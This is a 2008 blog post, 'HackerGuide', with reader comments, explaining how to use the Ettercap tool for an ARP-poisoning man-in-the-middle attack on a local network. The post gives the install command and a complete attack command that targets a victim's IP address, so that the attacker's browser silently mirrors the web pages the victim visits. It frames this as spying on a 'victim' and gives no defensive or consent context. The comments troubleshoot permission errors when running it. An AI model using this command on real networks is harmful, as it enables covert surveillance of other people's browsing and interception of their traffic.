HackerGuide: Sniff Live Network Connections Using Ettercap

July 28, 2008 at 19:55 · Tags: , , , ,

Ettercap is a great and useful network tool. Ettercap is basically a suite of tools for sophisticated man in the middle attacks on LAN, VLAN, and WIFI-networks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols (even ciphered ones like SSL, SSH, and TLS) and includes many feature for network and host analysis.

The following guide will show howto use Ettercap to get local browser on the attacking machine silently follow web pages that a given victim visits.

Install ettercap

sudo aptitude install ettercap

Run ettercap

ettercap -T -Q -M arp:remote -i wlan0 /10.10.10.23/ // -P remote_browser

wlan0 denotes the local network device and 10.10.10.23 denotes the IP of the victim on the LAN.

Feel free to comment and share funny experiences – be careful – ettercap is a very powerful tool.

Related posts:

  1. Howto Wiretap – Sniff Network Traffic
  2. Updated the entry on wireless network cracking
  3. Bundle (Spanning) multiple internet connections with Linux
  4. Hack Wireless WEP Network
  5. HackerGuide: Syn-Flood Attack
  6. Hack Wireless WPA Network
  7. Linksys Network Storage Link NSLU2
  8. HackerGuide: Crack Password Encrypted Zip-files
  9. Howto crack (or hack) a wireless network with Wired Equivalent Privacy (WEP)
  10. Howto Access via ssh a Virtualbox Guest machine

Popular Related Items »

6 Comments »

  1. Patrick said,

    January 7, 2009 @ 13:54

    Hi,

    How does the output look like?

    Thanks

  2. Anunturi imobiliare said,

    June 29, 2009 @ 18:48

    Try it and u’ll see :D

  3. jainnzburg said,

    July 12, 2009 @ 4:52

    hi, ive installed ettercap and run it as ettercap -G. however, io couldnt find any network interface. Could anyone help me on this?

  4. hjkjh said,

    July 22, 2009 @ 7:04

    Listening on wlan0…
    ERROR : 1, Operation not permitted
    [ec_capture.c:capture_init:146]

    pcap_open: socket: Operation not permitted

  5. Daniel said,

    October 24, 2009 @ 20:09

    Using ubuntu 9.04, I have to run that ettercap command as sudo, otherwise I get the same message that hjkjh got.

  6. John Smith said,

    February 19, 2010 @ 14:35

    Great post, will try it.

RSS feed for comments on this post · TrackBack URI

Leave a Comment